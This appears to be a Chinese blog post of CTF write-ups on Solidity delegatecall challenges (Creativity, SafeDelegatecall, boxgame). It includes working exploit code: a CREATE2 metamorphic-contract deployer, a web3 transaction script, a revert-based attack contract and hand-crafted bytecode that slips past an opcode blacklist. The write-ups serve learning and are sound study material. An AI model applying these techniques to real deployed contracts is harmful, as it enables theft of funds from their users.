Delegatecall(2)

Delegatecall(2)

wiki原理1

RealWorld 2018 Acoraida Monica

合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
pragma solidity =0.4.25;

contract AcoraidaMonicaGame{
uint256 public version = 4;
string public description = "Acoraida Monica admires smart guys, she'd like to pay 10000ETH to the one who could answer her question. Would it be you?";
string public constant sampleQuestion = "Who is Acoraida Monica?";
string public constant sampleAnswer = "$*!&#^[` a@.3;Ta&*T` R`<`~5Z`^5V You beat me! :D";
Logger public constant logger=Logger(0x5e351bd4247f0526359fb22078ba725a192872f3);
address questioner;
string public question;
bytes32 private answerHash;

constructor(bytes a) {
assembly{
pc
0xe1
add
jump
}
}
modifier onlyHuman{
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size==0);
_;
}
function Start(string _question, string _answer) public payable{
if(answerHash==0){
answerHash = keccak256(_answer);
question = _question;
questioner = msg.sender;
}
}
function NewRound(string _question, bytes32 _answerHash) public payable{
if(msg.sender == questioner && msg.value >= 0.5 ether){
require(_answerHash != keccak256(sampleAnswer));
question = _question;
answerHash = _answerHash;
logger.AcoraidaMonicaWantsToKnowTheNewQuestion(_question);
logger.AcoraidaMonicaWantsToKnowTheNewAnswerHash(_answerHash);
}
}
function TheAnswerIs(string _answer) onlyHuman public payable{
//require(msg.sender != questioner);
if(answerHash == keccak256(_answer) && msg.value >= 1 ether){
questioner = msg.sender;
msg.sender.transfer(address(this).balance);
logger.AcoraidaMonicaWantsToKeepALogOfTheWinner(msg.sender);
}
}
/*function setLogger(address _log) public {
require(msg.sender == questioner);
logger = Logger(_log);
}*/
function () payable {}
}
contract Logger{
event WeHaveAWinner(address);
event NewQuestion(string);
event NewAnswerHs(bytes32);
function AcoraidaMonicaWantsToKeepALogOfTheWinner(address winner) public {
emit WeHaveAWinner(winner);
}
function AcoraidaMonicaWantsToKnowTheNewQuestion(string _question) public{
emit NewQuestion(_question);
}
function AcoraidaMonicaWantsToKnowTheNewAnswerHash(bytes32 _answerHash) public {
emit NewAnswerHs(_answerHash);
}
}

分析

这个题好像Delegatecall只是一个小考点,主要考的似乎是JOP攻击。。还没学到那而且网上关于这个题的解析都没咋看到,等学到JOP再来看这题吧。

Balsn 2019 Creativity

wp
wp2
wp3
wp4
wiki-create2
合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.5.10;

contract Creativity {
event SendFlag(address addr);

address public target;
uint randomNumber = 0;

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}

function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}

分析

题目的源码很简短,最终目的为调用sendFlag函数,但是限制大于100000000 eth,这很明显不可能。

check函数可以改变target为我们传入的值,但要求合约代码段小于等于4,4个字节基本上啥也干不了。
如图调用一个最简单的事件不传参也需要六个opcode。

excute函数这里可以任意调用target 地址合约的内容,所以如果说能够让target变成我们的恶意合约地址就可以调用任意函数了。

所以问题就是需要先绕过check,而这里的做法就是利用create2这个opcode带来的妙用。

关于create2

官方解释

sodility解释

1
create2(v, n, p, s):用 mem[p...(p + s)) 中的代码,在地址 keccak256(<address> . n . keccak256(mem[p...(p + s))) 上 创建新合约、发送 v wei 并返回新地址

而create2 合约地址的计算如下
keccak256 (0xff ++ address ++ salt ++ keccak256 (init_code)) [12:]

salt为自己加盐,和正常的一些加密方式加盐相同含义。 init_code是自己的字节码。 address 是部署合约的地址。

既然有create2那肯定是有create操作的,这其实就是两种不同的计算合约地址的方式

1
2
Create : keccak256(rlp.encode(deployingAddress, nonce))[12:]
Create2 : keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]

所以这个操作数最终是用来干嘛的呢,就是创建一个新合约,并且合约地址我们能够控制。所以我们的攻击思路就是

  • 首先部署一个bytecode小于等于4字节的合约,然后用此合约地址调用check,此时一定满足条件,所以target就可以设置为create2创建出来的合约地址
  • 然后销毁create2部署出来的合约,再部署一次合约,这次部署的合约不用再满足check条件bytecode长度随意,因为target已经被设置。而我们需要做到的是让此次create2部署出来的合约地址和第一次部署出来的地址相等。这样就能利用target.delegatecall来调用任意函数了。

很明显我们遇到了两个问题,第一个就是构造小于等于4字节的bytecode,后续能利用这个bytecode让其自毁。第二个需要让两次部署出来的合约地址相同,也就是create2计算方式中的init_code一样即可。

最终攻击合约如下,这个合约很好的解决了上面两个问题

  • DumpBytecode就是 下面的dumper 合约,当constructor的时候他会读取真正部署的字节码。然后返回去。所以这样就可以满足每次部署的Bytecode相同了。因为你合约本身就已经给constructor了所以return过去之后合约的字节码就是返回的值
  • 0x33ff能够满足自毁条件。0x33本身是用来获取调用者地址,然后将此参数压栈,0xff就是selfdestruct,所以0x33ff就是压栈一个数据作为selfdestruct的参数。然后我们发送一个空交易,合约就会从头开始执行字节码,就可以触发合约自毁了。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.10;

contract Deployer {
bytes public deployBytecode;
address public deployedAddr;

function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866)
}
deployedAddr = a;
}
}

contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}

攻击

先将 Deployer 部署,地址为 0xbB38dB361a9312b93EeEaDaa1566Ac7fc22ACcDF , 然后使用 Deployer.deploy 部署 0x33ff ,得到部署的合约地址 0x97D571A3DBc03B4b7f96a3Ccc5c916871F76d806

利用脚本发送空交易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from hexbytes import HexBytes
from web3 import Web3,HTTPProvider
def SendTxn(txn,private_key):
signed_txn = web3.eth.account.signTransaction(txn, private_key=private_key)
# print(signed_txn)
res = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(res)
#
print(res)
return txn_receipt

account_from = {
'private_key': 'your key',
'address': '0x90641D6c0691829Dd70C39EE10EA44B26ac8C5AE',
}
contract_address = Web3.toChecksumAddress("0x97D571A3DBc03B4b7f96a3Ccc5c916871F76d806")
rpc = "xxxx"
web3 = Web3(HTTPProvider(rpc))
acc1 = web3.eth.account.from_key(account_from['private_key'])


params = {
'nonce': web3.eth.getTransactionCount(acc1.address),
'value': web3.toWei(0,'ether'),
'gas': 3000000,
'gasPrice': web3.eth.gasPrice,
'from': acc1.address,
'to':contract_address,
'data': ''
}

tx_receipt = SendTxn(params,account_from['private_key'])
print(tx_receipt)

查看create2部署的合约,可以看到已经触发自毁。

再次利用create2部署合约,利用如下合约的字节码部署,然后就能利用delegatecall触发emit SendFlag(0)事件了

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.10;

contract test2{
event SendFlag(address addr);

constructor() public {
emit SendFlag(address(0));
}
}

总结

做这题的时候感觉的到对于合约opcode比较陌生,导致最开始不理解create2到底如何让bytecode相等的,感觉后面需要多逆向合约,熟悉opcode,尝试自己编写字节码。这题还是学到了很多,create2的骚操作,利用opcode自毁合约并且就只用两字节。

第五空间 2020 SafeDelegatecall

wp
合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pragma solidity ^0.4.23;

contract SafeDelegatecall {

address private owner;
bytes4 internal constant SET = bytes4(keccak256('fifth(uint256)'));
event SendFlag(address addr);
uint randomNumber = 0;

struct Func {
function() internal f;
}

constructor() public payable {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

// 0x4b64e492
function execute(address _target) public payable{
require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false, 'unsafe execution');

bytes4 sel;
uint val;

(sel, val) = getRet();
require(sel == SET);

Func memory func;
func.f = gift;
assembly {
mstore(func, sub(mload(func), val))
}
func.f();
}

// 0x24b04905
function gift() private {
payforflag();
}

// 0xc37e74c7
function getRet() internal pure returns (bytes4 sel, uint val) {
assembly {
if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x24)
sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000)
val := mload(add(0x04, ptr))
}
}

// 0x80e10aa5
function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function() payable public{}
}

合约分析

题目重点在于excute函数

  • 首先对于delegatecall的结果进行限制要求为false,防止外部攻击合约篡改调用者合约环境中的storage数据。
  • getRet获取到外部合约returndata的两个数据sel和val,sel满足为指定的函数签名
  • 内联汇编计算出mload(func)-val的差值,最后有一个函数跳转,跳转的地址就是这个差值。

所以思路很明显,我们需要跳转到payforflag这里,gift函数用private修饰通过逆向分析可以发现是看不到跳转地址的,而在汇编中payforflag的跳转地址是可以看到的。
mload(func)内存地址如下

payforflag跳转地址为0x03c1

所以最终设置val为0x048a-0x03c1=200

攻击

攻击合约没啥大的区别,最后用revert使delegatecall返回false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.4.23;

contract hack {
bytes4 internal constant SEL = bytes4(keccak256('fifth(uint256)'));

function execute(address) public payable {
bytes4 sel = SEL;
assembly {
mstore(0,sel)
mstore(0x4,200)
revert(0,0x24)
}
}
}

HW-2020-boxgame

wp
字节码分析案例

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pragma solidity ^0.5.10;

contract BoxGame {

event ForFlag(address addr);
address public target;

constructor(bytes memory a) payable public {
assembly {
return(add(0x20, a), mload(a))
}
}

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function payforflag(address payable _addr) public {

require(_addr != address(0));

target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(_addr);
}

function sendFlag() public payable {
require(msg.value >= 1000000000 ether);
emit ForFlag(msg.sender);
}

}

可以看到构造函数中改变了字节码,实际得函数合约是这样得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.5.10;

contract BoxGame {

event ForFlag(address addr);
address public target;

function payforflag(address payable _addr) public {

require(_addr != address(0));

uint256 size;
bytes memory code;

assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}

for(uint256 i = 0; i < code.length; i++) {
require(code[i] != 0xf0); // CREATE
require(code[i] != 0xf1); // CALL
require(code[i] != 0xf2); // CALLCODE
require(code[i] != 0xf4); // DELEGATECALL
require(code[i] != 0xfa); // STATICCALL
require(code[i] != 0xff); // SELFDESTRUCT
}

_addr.delegatecall(abi.encodeWithSignature(""));
selfdestruct(_addr);
}

function sendFlag() public payable {
require(msg.value >= 1000000000 ether);
emit ForFlag(msg.sender);
}

}

分析

在实际源码中,我们可以控制外部合约地址并且可以通过delegatecall来执行外部合约的bytecode。但是能够看到有一些常用的opcode操作码已经被ban了(0xf0 0xf1 0xf2 0xf3 0xf4 0xfa 0xff)无法直接调用函数。而我们的最终目的是执行sendFlag()中的emit ForFlag(msg.sender);代码,也就是触发一个事件,所以首先需要先构造opcode来触发这个事件。

利用如下合约我们能够直接调试或者从逆向中获取触发事件的opcode操作码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.10;

import "./source.sol";
contract exp {

event ForFlag(address addr);
/*
emit ForFlag(address(0));
*/
function test() public {
emit ForFlag(address(this));
}

}

可以看到这一段就是利用opcode打印事件的过程。

这段opcode还是很容易看懂的。但其实这段opcode可以更精简一点,中间有一些重复的操作也可以去掉。
0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2是ForFlag(address)的sha3后的hash值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
emit ForFlag(address(this));

7F PUSH32 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2
30 ADDRESS
60 PUSH1 0x40
51 MLOAD
80 DUP1
82 DUP3
73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
16 AND
73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
16 AND
81 DUP2
52 MSTORE
60 PUSH1 0x20
01 ADD
91 SWAP2
50 POP
50 POP
60 PUSH1 0x40
51 MLOAD
80 DUP1
91 SWAP2
03 SUB
90 SWAP1
A1 LOG1

但是其中有些字符被ban了所以我们需要手动给转换一下。例如0xff可以用0x11 + 0xee 转换。

转换后的opcode为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
emit ForFlag(address(0));

7f PUSH 89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e2
7f PUSH 0000000000100000000000000000000000000000000001000000000000000000
01 ADD
60 PUSH 0x00
60 PUSH1 0x40
51 MLOAD
80 DUP1
82 DUP3
73 PUSH20 eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
73 PSUH20 1111111111111111111111111111111111111111
01 ADD
16 AND
73 PUSH20 eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
73 PUSH20 1111111111111111111111111111111111111111
01 ADD
16 AND
81 DUP2
52 MSTORE
60 PUSH1 0x20
01 ADD
91 SWAP2
50 POP
50 POP
60 PSUH1 40
51 MLOAD
80 DUP1
91 SWAP2
03 SUB
90 SWAP1
a1 LOG1

最后只留下opcode即为

1
7f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e27f0000000000100000000000000000000000000000000001000000000000000000016000604051808273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee731111111111111111111111111111111111111111011673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee7311111111111111111111111111111111111111110116815260200191505060405180910390a1

使用如下合约部署,在deploy中传入我们构造的bytecode即可部署最终的攻击合约。pikachu师傅是直接在bytecode中使用的create2操作符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.10;

import "./source.sol";

contract Deployer {
bytes public deployBytecode;
address public deployedAddr;

function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866)
}
deployedAddr = a;
}
}

contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}

攻击

题目合约地址0x1919cE5bfDBfa4e649C04408a2444C2B96AeF4E7

利用上述合约部署攻击合约0xdc2E2CbbE6F892789288C8B9E2fe68dcd989338f

可以看到成功把我们构造好的bytecode部署成了合约

调用payforflag

成功打印事件


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!